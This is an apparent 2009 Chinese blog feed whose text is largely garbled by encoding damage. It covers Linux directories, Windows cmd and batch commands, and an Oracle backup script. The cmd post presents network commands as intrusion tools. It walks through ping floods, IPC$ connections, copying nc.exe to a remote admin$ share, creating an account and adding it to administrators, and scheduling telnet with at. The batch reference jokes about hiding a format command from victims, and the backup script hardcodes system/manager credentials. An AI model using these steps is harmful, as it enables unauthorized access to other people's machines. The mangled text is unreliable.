所有文件一般来自l i n u x发行? d i s t r i b u t i o n )Q本地安装的E序和其他东西在/usr/local 下,因ؓq样可以在升U新版系l或新发行版时无重新安装全部程序?usr 目录下的许多内容?
可选的Q但q些功能会用户使用pȝ更加有效? u s r可容U多大型的软g包和它们的配|?
文g。下面列Z些重要的目录(一些不太重要的目录被省略了)?
1. /usr/x11r6
包含x wi n d o wpȝ的所有可执行E序、配|文件和支持文g。ؓ化x的开发和安装Q?
x的文件没有集成到pȝ中。x wi n d o wpȝ是一个功能强大的囑Ş环境Q提供了大量的图?
工具E序。用户如果对microsoft wi n d o w s或m a c h i n t o s h比较熟悉的话Q就不会对x wi n d o wpȝ感到束手无策了?
2. /usr/x386
cM/ u s r / x 11r6 Q但是是专门lx 11 release 5的?
3. /usr/bin
集中了几乎所有用户命令,是系l的软g库。另有些命o?bin ?usr/local/bin 中?
4. /usr/sbin
包括了根文gpȝ不必要的pȝ理命oQ例如多数服务程序?
5. /usr/man? u s r / i n f o? u s r / d o c
q些目录包含所有手册页、g n u信息文档和各U其他文档文件。每个联机手册的“?#8221;
都有两个子目录。例如: / u s r / m a n / m a n 1中包含联机手册第一节的源码(没有格式化的原始?
?Q? u s r / m a n / c a t 1包含W一节已格式化的内容。l联机手册分ؓ以下九节Q内部命令、系l调
用、库函数、设备、文件格式、游戏、宏软g包、系l管理和核心E序?
6. /usr/include
包含了c语言的头文gQ这些文件多? hl尾Q用来描qc语言E序中用到的数据l构?
子过E和帔R。ؓ了保持一致性,q实际上应该攑֜/usr/lib 下,但习惯上一直沿用了q个?
字?
7. /usr/lib
包含了程序或子系l的不变的数据文Ӟ包括一些s i t e - w i d e配置文g。名字l i b来源于库
(library); ~程的原始库也存?usr/lib 里。当~译E序ӞE序便会和其中的库进行连接。也
有许多程序把配置文g存入其中?
8. /usr/local
本地安装的Y件和其他文g攑֜q里。这? u s r很相伹{用户可能会在这发现一些比较大
的Y件包Q如t e x、e m a c s{?


/var文gpȝ
/var 包含pȝ一般运行时要改变的数据。通常q些数据所在的目录的大是要经常变?
或扩充的。原? v a r目录中有些内Ҏ? u s r中的Q但Z保持/ u s r目录的相对稳定,把?
些需要经常改变的目录攑ֈ/ v a r中了。每个系l是特定的,即不通过|络与其他计机׃n?
下面列出一些重要的目录(一些不太重要的目录省略??
1. /var/catman
包括了格式化q的帮助( m a n )c帮助页的源文g一般存? u s r / m a n / m a n中;有些m a n?
可能有预格式化的版本Q存? u s r / m a n / c a t中。而其他的m a n在W一ơ看旉需要格式化Q?
格式化完的版本存?var/man 中,q样其他人再看相同的|无ȝ待格式化了?
(/var/catman l常被清除,像清除临时目录一栗?
2. /var/lib
存放pȝ正常q行时要改变的文件?
3. /var/local
存放/usr/local 中安装的E序的可变数?即系l管理员安装的程?。注意,如果必要Q?
即本地安装的程序也会用其?var 目录Q例?var/lock ?
4. /var/lock
锁定文g。许多程序遵循在/var/lock 中生一个锁定文件的U定Q以用来支持他们正在
使用某个特定的设备或文g。其他程序注意到q个锁定文gӞ׃会再使用q个讑֤或文
件?
5. /var/log
各种E序的日? l o g )文gQ尤其是login (/var/log/wtmp logU录所有到pȝ的登录和?
销) 和syslog (/var/log/messages U录存储所有核心和pȝE序信息)?var/log 里的文gl常?
定地增长,应该定期清除?
6. /var/run
保存在下一ơ系l引导前有效的关于系l的信息文g。例如, /var/run/utmp 包含当前?
录的用户的信息?
7. /var/spool
攄“假脱? s p o o l )”E序的目录,如m a i l、n e w s、打印队列和其他队列工作的目录。每
个不同的s p o o l?var/spool 下有自己的子目录Q例如,用户的邮就存放?var/spool/mail 中?
8. /var/tmp
?tmp 允许更大的或需要存在较长时间的临时文g?
注意pȝ理员可能不允许/var/tmp 有很旧的文g?


/proc文gpȝ
/proc 文gpȝ是一个伪的文件系l,是说它是一个实际上不存在的目录Q因而这是一
个非常特D的目录。它q不存在于某个磁盘上Q而是由核心在内存中生。这个目录用于提
供关于系l的信息。下面说明一些最重要的文件和目录(/proc 文gpȝ在proc man中有更?
l的说明)?
1. /proc/x
关于q程x的信息目录,q一x是这一q程的标识号。每个进E在/proc 下有一个名
pE号的目录?
2. /proc/cpuinfo
存放处理? c p u )的信息,如c p u的类型、制造商、型号和性能{?
3. /proc/devices
当前q行的核心配|的讑֤驱动的列表?
4. /proc/dma
昄当前使用的d m a通道?
5. /proc/filesystems
核心配置的文件系l信息?
6. /proc/interrupts
昄被占用的中断信息和占用者的信息Q以及被占用的数量?
7. /proc/ioports
当前使用的i / o端口?
8. /proc/kcore
pȝ物理内存映像。与物理内存大小完全一P然而实际上没有占用q么多内存;它仅
仅是在程序访问它时才被创建?注意Q除非你把它拯C么地方,否则/proc 下没有Q?
东西占用M盘I间?
9. /proc/kmsg
核心输出的消息。也会被送到s y s l o g?
10. /proc/ksyms
核心W号表?
11. /proc/loadavg
pȝ“q_负蝲”Q?3个没有意义的指示器指出系l当前的工作量?
12. /proc/meminfo
各种存储器用信息,包括物理内存和交换分? s w a p )?
13. /proc/modules
存放当前加蝲了哪些核心模块信息?
14. /proc/net
|络协议状态信息?
15. /proc/self
存放到查?proc 的程序的q程目录的符可接。当2个进E查?proc Ӟq将会是不同
的连接。这主要便于E序得到它自qq程目录?
16. /proc/stat
pȝ的不同状态,例如Q系l启动后面发生错误的次数?
17. /proc/uptime
pȝ启动的时间长度?
18. /proc/version
核心版本?

moonandsun 2009-03-11 10:13 发表评论
]]>
【cmd 命o行】常用命令学?/title><link>http://m.tkk7.com/moonandsun/archive/2009/03/09/258685.html</link><dc:creator>moonandsun</dc:creator><author>moonandsun</author><pubDate>Mon, 09 Mar 2009 14:33:00 GMT</pubDate><guid>http://m.tkk7.com/moonandsun/archive/2009/03/09/258685.html</guid><wfw:comment>http://m.tkk7.com/moonandsun/comments/258685.html</wfw:comment><comments>http://m.tkk7.com/moonandsun/archive/2009/03/09/258685.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.tkk7.com/moonandsun/comments/commentRss/258685.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/moonandsun/services/trackbacks/258685.html</trackback:ping><description><![CDATA[必须掌握的八个【cmd 命o行?br /> 一Qping     <br /> <br />   它是用来查网l是否通畅或者网l连接速度的命令。作Z个生zd|络上的理员或者黑客来_ping命o是第一个必L握的DOS命oQ它所利用的原理是q样的:|络上的机器都有唯一定的IP地址Q我们给目标IP地址发送一个数据包Q对方就要返回一个同样大的数据包,Ҏq回的数据包我们可以定目标L的存在,可以初步判断目标L的操作系l等。下面就来看看它的一些常用的操作。先看看帮助吧,在DOSH口中键入:ping /? 回RQ。所C的帮助画面。在此,我们只掌握一些基本的很有用的参数可以了Q下同)?    <br /> <br />   -t 表示不间断向目标IP发送数据包Q直到我们强q其停止。试惻I如果你?00M的宽带接入,而目标IP?6K的小猫,那么要不了多久,目标IP因为承受不了这么多的数据而掉U,呵呵Q一ơ攻dq么单的实现了?    <br /> <br />   -l 定义发送数据包的大,默认?2字节Q我们利用它可以最大定义到65500字节。结合上面介l的-t参数一起用,会有更好的效果哦?    <br /> <br />   -n 定义向目标IP发送数据包的次敎ͼ默认?ơ。如果网l速度比较慢,3ơ对我们来说也浪费了不少旉Q因为现在我们的目的仅仅是判断目标IP是否存在Q那么就定义Zơ吧?    <br /> <br />   说明一下,如果-t 参数?-n参数一起用,ping命o׃攑֜后面的参Cؓ标准Q比?ping IP -t -n 3"Q虽然用了-t参数Q但q不是一直ping下去Q而是只ping 3ơ。另外,ping命o不一定非得ping IPQ也可以直接pingL域名Q这样就可以得到L的IP?    <br /> <br />   下面我们举个例子来说明一下具体用法?    <br /> <br />   q里time=2表示从发出数据包到接受到q回数据包所用的旉?U,从这里可以判断网l连接速度的大?。从TTL的返回值可以初步判断被pingL的操作系l,之所以说"初步判断"是因个值是可以修改的。这里TTL=32表示操作pȝ可能是win98?nbsp; <br /> <br />   Q小知识Q如果TTL=128Q则表示目标L可能是Win2000Q如果TTL=250Q则目标L可能是UnixQ?nbsp; <br /> <br />   至于利用ping命o可以快速查扑ֱ域网故障Q可以快速搜索最快的QQ服务器,可以对别行pingd……q些靠大家自己发挥了?    <br /> <br /> 二,nbtstat     <br /> <br />   该命令用TCP/IP上的NetBIOS昄协议l计和当前TCP/IPq接Q用这个命令你可以得到q程L的NETBIOS信息Q比如用户名、所属的工作l、网卡的MAC地址{。在此我们就有必要了解几个基本的参数?    <br /> <br />   -a 使用q个参数Q只要你知道了远E主机的机器名称Q就可以得到它的NETBIOS信息Q下同)?    <br /> <br />   -A q个参数也可以得到远E主机的NETBIOS信息Q但需要你知道它的IP?nbsp; <br /> <br />   -n 列出本地机器的NETBIOS信息?    <br /> <br />   当得CҎ的IP或者机器名的时候,可以用nbtstat命o来进一步得到对方的信息了,q又增加了我们入늚保险pL?    <br /> <br /> 三,netstat  <br /> <br />   q是一个用来查看网l状态的命oQ操作简便功能强大?    <br /> <br />   -a 查看本地机器的所有开攄口,可以有效发现和预防木马,可以知道机器所开的服务等信息Q如??    <br /> <br />   q里可以看出本地机器开放有FTP服务、Telnet服务、邮件服务、WEB服务{。用法:netstat -a IP?nbsp; <br /> <br />   -r 列出当前的\׃息,告诉我们本地机器的网兟뀁子|掩码等信息。用法:netstat -r IP?nbsp; <br /> 四,tracert  <br /> <br />   跟踪路由信息Q用此命o可以查出数据从本地机器传输到目标L所l过的所有途径Q这Ҏ们了解网l布局和结构很有帮助。如??    <br /> <br />   q里说明数据从本地机器传输到192.168.0.1的机器上Q中间没有经qQ何中转,说明q两台机器是在同一D局域网内。用法:tracert IP?    <br /> <br /> 五,net     <br /> <br />   q个命o是网l命令中最重要的一个,必须透彻掌握它的每一个子命o的用法,因ؓ它的功能实在是太强大了,q简直就?微Y为我们提供的最好的入R工具。首先让我们来看一看它都有那些子命令,键入net /?回R如图6?nbsp; <br /> <br />   在这里,我们重点掌握几个入R常用的子命o?    <br /> <br />   net view     <br /> <br />   使用此命令查看远E主机的所以共享资源。命令格式ؓnet view \IP。    <br /> <br />   net use  <br /> <br />   把远E主机的某个׃n资源影射为本地盘W,囑Ş界面方便使用Q呵c命令格式ؓnet use x: \IP\sharename。上面一个表C把192.168.0.5IP的共享名为magic的目录媄ؓ本地的Z盘。下面表C和192.168.0.7建立IPC$q接Qnet use \IP\IPC$ "password" /user:"name"Q,     <br /> <br />   建立了IPC$q接后,呵呵Q就可以上传文g了:copy nc.exe \192.168.0.7\admin$Q表C把本地目录下的nc.exe传到q程LQ结合后面要介绍到的其他DOS命o可以实现入侵了?    <br /> <br />   net start  <br /> <br />   使用它来启动q程L上的服务。当你和q程L建立q接后,如果发现它的什么服务没有启动,而你又想利用此服务怎么办?׃用这个命令来启动吧。用法:net start servernameQ如?Q成功启动了telnet服务?    <br /> <br />   net stop  <br /> <br />   入R后发现远E主机的某个服务手脚Q怎么办?利用q个命o停掉ok了,用法和net start同?    <br /> <br />   net user  <br /> <br />   查看和帐h关的情况Q包括新建帐戗删除帐戗查看特定帐戗激zd戗帐L用等。这Ҏ们入侉|很有利的Q最重要的,它ؓ我们克隆帐户提供了前提。键入不带参数的net userQ可以查看所有用P包括已经用的。下面分别讲解?nbsp; <br /> <br />   1Qnet user abcd 1234 /addQ新Z个用户名为abcdQ密码ؓ1234的帐P默认为userl成员?nbsp; <br /> <br />   2Qnet user abcd /delQ将用户名ؓabcd的用户删除?nbsp; <br /> <br />   3Qnet user abcd /active:noQ将用户名ؓabcd的用L用?nbsp; <br /> <br />   4Qnet user abcd /active:yesQ激zȝ户名为abcd的用戗?nbsp; <br /> <br />   5Qnet user abcdQ查看用户名为abcd的用L情况    <br /> <br />   net localgroup  <br /> <br />   查看所有和用户l有关的信息和进行相x作。键入不带参数的net localgroup卛_出当前所有的用户l。在入Rq程中,我们一般利用它来把某个帐户提升为administratorl帐Pq样我们利用q个帐户可以控制整个远E主Z。用法:net localgroup groupname username /add?    <br /> <br />   现在我们把刚才新建的用户abcd加到administratorl里MQ这时候abcd用户已经是超U管理员了,呵呵Q你可以再用net user abcd来查看他的状态,和图10q行比较可以看出来。但q样太明显了Q网一看用h况就能漏出破l,所以这U方法只能对付菜鸟网,但我们还得知道。现在的手段都是利用其他工具和手D克隆一个让|管看不出来的超U管理员Q这是后话。有兴趣的朋友可以参照《黑客防Uѝ第30期上的《由入p析隆帐户》一文?    <br /> <br />   net time  <br /> <br />   q个命o可以查看q程L当前的时间。如果你的目标只是进入到q程L里面Q那么也许就用不到这个命令了。但单的入R成功了,N只是看看吗?我们需要进一步渗透。这pq程L当前的时间都需要知道,因ؓ利用旉和其他手D(后面会讲刎ͼ可以实现某个命o和程序的定时启动Qؓ我们q一步入侉|好基。用法:net time \IP?    <br /> <br /> 六,at  <br /> <br /> q个命o的作用是安排在特定日期或旉执行某个特定的命令和E序Q知道net time的重要了吧?Q。当我们知道了远E主机的当前旉Q就可以利用此命令让其在以后的某个时_比如2分钟后)执行某个E序和命令。用法:at time command \computer?    <br /> <br />   表示??5分时Q让名称为a-01的计机开启telnet服务Q这里net start telnet即ؓ开启telnet服务的命令)?    <br /> 七,ftp     <br /> <br />   大家对这个命令应该比较熟悉了吧?|络上开攄ftp的主机很多,其中很大一部分是匿名的Q也是说Q何h都可以登陆上厅R现在如果你扫到了一台开放ftp服务的主机(一般都是开?1端口的机器)Q如果你q不会用ftp的命令怎么办?下面q出基本的ftp命o使用Ҏ?nbsp; <br /> <br />   首先在命令行键入ftp回RQ出现ftp的提C符Q这时候可以键?help"来查看帮助(MDOS命o都可以用此Ҏ查看其帮??    <br /> <br />   大家可能看到了,q么多命令该怎么用?其实也用不到那么多,掌握几个基本的就够了?    <br /> <br />   首先是登陆过E,q就要用到open了,直接在ftp的提C符下输?open LIP ftp端口"回R卛_Q一般端口默认都?1Q可以不写。接着是输入合法的用户名和密码进行登陆了Q这里以匿名ftpZ介绍?    <br /> <br />   用户名和密码都是ftpQ密码是不显C的。当提示**** logged inӞp明登陆成功。这里因为是匿名登陆Q所以用hCZؓAnonymous?    <br /> <br />   接下来就要介l具体命令的使用Ҏ了?    <br /> <br />   dir 跟DOS命o一P用于查看服务器的文gQ直接敲上dir回RQ就可以看到此ftp服务器上的文件?nbsp; <br /> <br />   cd q入某个文g夏V?nbsp; <br /> <br />   get 下蝲文g到本地机器?nbsp; <br /> <br />   put 上传文g到远E服务器。这p看远Eftp服务器是否给了你可写的权限了Q如果可以,呵呵Q该怎么 利用׃多说了,大家p由发挥去吧?nbsp; <br /> <br />   delete 删除q程ftp服务器上的文件。这也必M证你有可写的权限?nbsp; <br /> <br />   bye 退出当前连接?nbsp; <br /> <br />   quit 同上?nbsp; <br />     <br /> <br /> 八,telnet  <br /> <br />   功能强大的远E登陆命令,几乎所有的入R者都喜欢用它Q屡试不爽。ؓ什么?它操作简单,如同使用自己的机器一P只要你熟悉DOS命oQ在成功以administratorw䆾q接了远E机器后Q就可以用它来干你想q的一切了。下面介l一下用方法,首先键入telnet回RQ再键入help查看其帮助信息?    <br /> <br />   然后在提C符下键入open IP回RQ这时就出现了登陆窗口,让你输入合法的用户名和密码,q里输入M密码都是不显C的?    <br /> <br />   当输入用户名和密码都正确后就成功建立了telnetq接Q这时候你在q程L上具有了和此用户一L权限Q利用DOS命o可以实C惛_的事情了。这里我使用的超U管理员权限登陆的。    <br /> <br />   到这里ؓ止,|络DOS命o的介l就告一D落了,q里介绍的目的只是给菜鸟|管一个印象,让其知道熟悉和掌握网lDOS命o的重要性。其实和|络有关的DOS命oq远不止q些Q这里只是抛砖引玉,希望能对q大菜鸟|管有所帮助。学好DOS对当好网有很大的帮助,特别的熟l掌握了一些网l的DOS命o?nbsp; <br /> <br />   另外大家应该清楚QQ何h要想q入pȝQ必d有一个合法的用户名和密码Q输入法漏洞差不多绝q了吧)Q哪怕你拿到帐户的只有一个很的权限Q你也可以利用它来达到最后的目的。所以坚x灭空口oQ给自己的帐户加上一个强壮的密码Q是最好的防M弱口令入늚Ҏ?nbsp; <br /> <br />   最后,p的说一句,培养良好的安全意识才是最重要的?<br /> <br /> ========================================= <br /> 开?#8594;q行→命o集锦 <br /> winver---------查Windows版本  <br /> wmimgmt.msc----打开windows理体系l构(WMI)  <br /> wupdmgr--------windows更新E序  <br /> wscript--------windows脚本宿主讄  <br /> write----------写字?nbsp; <br /> winmsd---------pȝ信息  <br /> wiaacmgr-------扫描仪和照相机向?nbsp; <br /> winchat--------XP自带局域网聊天  <br /> <br /> mem.exe--------昄内存使用情况  <br /> Msconfig.exe---pȝ配置实用E序  <br /> mplayer2-------易widnows media player  <br /> mspaint--------d?nbsp; <br /> mstsc----------q程桌面q接  <br /> mplayer2-------媒体播放?nbsp; <br /> magnify--------攑֤镜实用程?nbsp; <br /> mmc------------打开控制?nbsp; <br /> mobsync--------同步命o  <br /> <br /> dxdiag---------查DirectX信息  <br /> drwtsn32------ pȝȝ  <br /> devmgmt.msc--- 讑֤理?nbsp; <br /> dfrg.msc-------盘片整理E序  <br /> diskmgmt.msc---盘理实用E序  <br /> dcomcnfg-------打开pȝlg服务  <br /> ddeshare-------打开DDE׃n讄  <br /> dvdplay--------DVD播放?nbsp; <br /> <br /> net stop messenger-----停止信服务  <br /> net start messenger----开始信使服?nbsp; <br /> notepad--------打开C?nbsp; <br /> nslookup-------|络理的工具向?nbsp; <br /> ntbackup-------pȝ备䆾和还?nbsp; <br /> narrator-------屏幕"讲述?  <br /> ntmsmgr.msc----Ud存储理?nbsp; <br /> ntmsoprq.msc---Ud存储理员操作请?nbsp; <br /> netstat -an----(TC)命o查接?nbsp; <br /> <br /> syncapp--------创徏一个公文包  <br /> sysedit--------pȝ配置~辑?nbsp; <br /> sigverif-------文g{֐验证E序  <br /> sndrec32-------录音?nbsp; <br /> shrpubw--------创徏׃n文g?nbsp; <br /> secpol.msc-----本地安全{略  <br /> syskey---------pȝ加密Q一旦加密就不能解开Q保护windows xppȝ的双重密?nbsp; <br /> services.msc---本地服务讄  <br /> Sndvol32-------音量控制E序  <br /> sfc.exe--------pȝ文g查器  <br /> sfc /scannow---windows文g保护  <br /> <br /> tsshutdn-------60U倒计时关机命?nbsp; <br /> tourstart------xp介(安装完成后出现的漫游xpE序Q?nbsp; <br /> taskmgr--------d理?nbsp; <br /> <br /> eventvwr-------事g查看?nbsp; <br /> eudcedit-------造字E序  <br /> explorer-------打开资源理?nbsp; <br /> <br /> <br /> packager-------对象包装E序  <br /> perfmon.msc----计算机性能监测E序  <br /> progman--------E序理?nbsp; <br /> <br /> regedit.exe----注册?nbsp; <br /> rsop.msc-------l策略结果集  <br /> regedt32-------注册表编辑器  <br /> rononce -p ----15U关?nbsp; <br /> regsvr32 /u *.dll----停止dll文gq行  <br /> regsvr32 /u zipfldr.dll------取消ZIP支持  <br /> <br /> cmd.exe--------CMD命o提示W?nbsp; <br /> chkdsk.exe-----Chkdsk盘?nbsp; <br /> certmgr.msc----证书理实用E序  <br /> calc-----------启动计算?nbsp; <br /> charmap--------启动字符映射?nbsp; <br /> cliconfg-------SQL SERVER 客户端网l实用程?nbsp; <br /> Clipbrd--------剪脓板查看器  <br /> conf-----------启动netmeeting  <br /> compmgmt.msc---计算机管?nbsp; <br /> cleanmgr-------垃圾整理  <br /> ciadv.msc------索引服务E序  <br /> <br /> osk------------打开屏幕键盘  <br /> odbcad32-------ODBC数据源管理器  <br /> oobe/msoobe /a----查XP是否Ȁz?nbsp; <br /> lusrmgr.msc----本机用户和组  <br /> logoff---------注销命o  <br /> <br /> <br /> iexpress-------木马捆绑工具Q系l自?nbsp; <br /> <br /> Nslookup-------IP地址侦测?nbsp; <br /> <br /> fsmgmt.msc-----׃n文g夹管理器  <br /> <br /> utilman--------辅助工具理?nbsp; <br /> <br /> gpedit.msc-----l策?<br /> <img src ="http://m.tkk7.com/moonandsun/aggbug/258685.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/moonandsun/" target="_blank">moonandsun</a> 2009-03-09 22:33 <a href="http://m.tkk7.com/moonandsun/archive/2009/03/09/258685.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>oracle自动备䆾?->Q批处理+wind计划Q?/title><link>http://m.tkk7.com/moonandsun/archive/2009/03/07/258327.html</link><dc:creator>moonandsun</dc:creator><author>moonandsun</author><pubDate>Sat, 07 Mar 2009 02:33:00 GMT</pubDate><guid>http://m.tkk7.com/moonandsun/archive/2009/03/07/258327.html</guid><wfw:comment>http://m.tkk7.com/moonandsun/comments/258327.html</wfw:comment><comments>http://m.tkk7.com/moonandsun/archive/2009/03/07/258327.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.tkk7.com/moonandsun/comments/commentRss/258327.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/moonandsun/services/trackbacks/258327.html</trackback:ping><description><![CDATA[        对Oracle了解不是很多Q很大程度上只停留在单用的层面上,至于Oracle备䆾问题更是涉不深。但毕竟目要做Q数据库要维护和备䆾Q下面简qC下现阶段我对数据?oracle)的备份。虽然该Ҏ不是很好Q但我认在一定意义上解决一定问题。当Ӟ强烈希望高h看到此脓后能留下你的l典备䆾之作Q不胜感Ȁ?br /> <br />         首先你需要对oracle数据库导入导出命令有所了解?br />         <br />       <br />          下面是一D|处理命oQ用于数据库备䆾Q最l文件备份格式:2009-03-07.dmp Q?2009-03-07"为当天日期)<br /> <div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://m.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" /><span style="color: #0000ff">for</span><span style="color: #000000"> </span><span style="color: #000000">/</span><span style="color: #000000">F </span><span style="color: #000000">"</span><span style="color: #000000">usebackq delims= </span><span style="color: #000000">"</span><span style="color: #000000"> </span><span style="color: #000000">%%</span><span style="color: #000000">i IN (`date </span><span style="color: #000000">/</span><span style="color: #000000">t`) DO exp system</span><span style="color: #000000">/</span><span style="color: #000000">manager@orcl file</span><span style="color: #000000">=</span><span style="color: #000000">E:\</span><span style="color: #000000">%%</span><span style="color: #000000">i.dmp <br /> <img src="http://m.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" /></span></div>         <br />          然后调用win的Q务计划,按照需要调用该批处理即可?br />     <br />        <br /> <br /> <br />        <br /> <img src ="http://m.tkk7.com/moonandsun/aggbug/258327.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/moonandsun/" target="_blank">moonandsun</a> 2009-03-07 10:33 <a href="http://m.tkk7.com/moonandsun/archive/2009/03/07/258327.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>批处理命令大?收藏)http://m.tkk7.com/moonandsun/archive/2009/03/07/258320.htmlmoonandsunmoonandsunSat, 07 Mar 2009 02:02:00 GMThttp://m.tkk7.com/moonandsun/archive/2009/03/07/258320.htmlhttp://m.tkk7.com/moonandsun/comments/258320.htmlhttp://m.tkk7.com/moonandsun/archive/2009/03/07/258320.html#Feedback0http://m.tkk7.com/moonandsun/comments/commentRss/258320.htmlhttp://m.tkk7.com/moonandsun/services/trackbacks/258320.html 打开回显或关闭请求回昑֊能,或显C消息。如果没有Q何参敎ͼecho 命o显C当前回显设|?br /> 语法
echo [{on|off}] [message]
SampleQecho off / echo hello world
在实际应用中我们会把q条命o和重定向W号Q也UCؓ道W号Q一般用> >> ^Q结合来实现输入一些命令到特定格式的文件中.q将在以后的例子中体现出来?br />
2.@ 命o
表示不显C@后面的命令,在入侵过E中Q例如用批处理来格式化敌h的硬盘)自然不能让对方看C使用的命令啦?br /> SampleQ@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format q个命o是不可以使用/yq个参数的,可喜的是微Y留了个autosetq个参数l我们,效果?y是一L?

3.Goto 命o
指定跌{到标{,扑ֈ标签后,E序处理从下一行开始的命o?br /> 语法Qgoto label Qlabel是参敎ͼ指定所要{向的批处理程序中的行。)
SampleQ?br /> if {%1}=={} goto noparms
if {%2}=={} goto noparmsQ如果这里的if?1?2你不明白的话Q先跌去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便vQ但是最好是有意义的字母啦,字母前加个:用来表示q个字母是标{,goto命o是Ҏq个Q来L下一步蟩到到那里。最好有一些说明这样你别h看v来才会理解你的意囑֕?br />
4.Rem 命o
注释命oQ在C语言中相当与/*--------*/,它ƈ不会被执行,只是起一个注释的作用Q便于别人阅d你自己日后修攏V?br /> Rem Message
SampleQ@Rem Here is the description.

5.Pause 命o
q行 Pause 命oӞ显CZ面的消息Q?
Press any key to continue . . .
SampleQ?br /> @echo off
:begin
copy a:*.* dQ\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中Q驱动器 A 中磁盘上的所有文件均复制到d:\back中。显C的注释提示您将另一张磁盘放入驱动器 A Ӟpause 命o会ɽE序挂vQ以便您更换盘Q然后按L键l处理?br />
6.Call 命o
从一个批处理E序调用另一个批处理E序Qƈ且不l止父批处理E序。call 命o接受用作调用目标的标{。如果在脚本或批处理文g外?CallQ它不会在命o行v作用?br /> 语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名U。filename 参数必须h .bat ?.cmd 扩展名?br />
7.start 命o
调用外部E序Q所有的DOS命o和命令行E序都可以由start命o来调用?br /> 入R常用参数Q?br /> MIN 开始时H口最化
SEPARATE 在分开的空间内开?16 ?Windows E序
HIGH ?HIGH 优先U类别开始应用程?br /> REALTIME ?REALTIME 优先U类别开始应用程?br /> WAIT 启动应用E序q等候它l束
parameters q些Z送到命o/E序的参?br /> 执行的应用程序是 32-?GUI 应用E序ӞCMD.EXE 不等应用E序l止p回命令提C。如果在命o脚本内执行,该新行ؓ则不会发生?br /> 8.choice 命o
choice 使用此命令可以让用户输入一个字W,从而运行不同的命o。用时应该?c:参数Qc:后应写提C可输入的字W,之间无空根{它的返回码?234……

? choice /c:dme defrag,mem,end
显C?br /> defrag,mem,end[D,M,E]?
SampleQ?br /> Sample.bat的内容如?
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag Q应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件运行后Q将昄 defrag,mem,end[D,M,E]? 用户可选择d m e Q然后if语句作出判断,d表示执行标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最后都以goto end程序蟩到end标号处,然后E序显Cgood byeQ文件结束?br />
9.If 命o

if 表示判断是否符合规定的条gQ从而决定执行不同的命o?有三U格?
1、if "参数" == "字符? 待执行的命o
参数如果{于指定的字W串Q则条g成立Q运行命令,否则q行下一句?注意是两个等P
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文g?待执行的命o
如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?br /> 如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字 待执行的命o
如果q回码等于指定的数字Q则条g成立Q运行命令,否则q行下一句?br /> 如if errorlevel 2 goto x2
DOSE序q行旉会返回一个数字给DOSQ称为错误码errorlevel或称q回码,常见的返回码???br />
10.for 命o
for 命o是一个比较复杂的命oQ主要用于参数在指定的范围内循环执行命o?br /> 在批处理文g中?FOR 命oӞ指定变量请?%%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数?br /> (set) 指定一个或一l文件。可以用通配W?br /> command 指定Ҏ个文件执行的命o?br /> command-parameters 为特定命令指定参数或命o行开兟?br /> 在批处理文g中?FOR 命oӞ指定变量请?%%variable
而不要用 %variable。变量名U是区分大小写的Q所?%i 不同?%I

如果命o扩展名被启用Q下列额外的 FOR 命o格式会受?br /> 支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配W,则指定与目录名匹配,而不与文?br /> 名匹配?br />
FOR /R [[drive:]path] %variable IN (set) DO command [command-

查以 [drive:]path 为根的目录树Q指向每个目录中?br /> FOR 语句。如果在 /R 后没有指定目录,则用当?br /> 目录。如果集仅ؓ一个单?.)字符Q则枚D该目录树?br />
FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量Ş式从开始到l束的一个数字序列?br /> 因此Q?1,1,5) 生序?1 2 3 4 5Q?5,-1,1) ?br /> 序列 (5 4 3 2 1)?br />
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

或者,如果?usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

filenameset Z个或多个文g名。l到 filenameset 中的
下一个文件之前,每䆾文g都已被打开、读取ƈl过处理?br /> 处理包括d文gQ将其分成一行行的文字,然后每?br /> 解析成零或更多的W号。然后用已找到的W号字符串变量?br /> 调用 For 循环。以默认方式Q?F 通过每个文g的每一行中分开
的第一个空白符受蟩q空白行。您可通过指定可?"options"
参数替代默认解析操作。这个带引号的字W串包括一个或多个
指定不同解析选项的关键字。这些关键字?

eol=c - 指一个行注释字符的结?׃?
skip=n - 指在文g开始时忽略的行数?br /> delims=xxx - 指分隔符集。这个替换了I格和蟩格键?br /> 默认分隔W集?br /> tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代
?for 本n。这会导致额外变量名U的
格式Z个范围。通过 nth W号指定 m
W号字符串中的最后一个字W星P
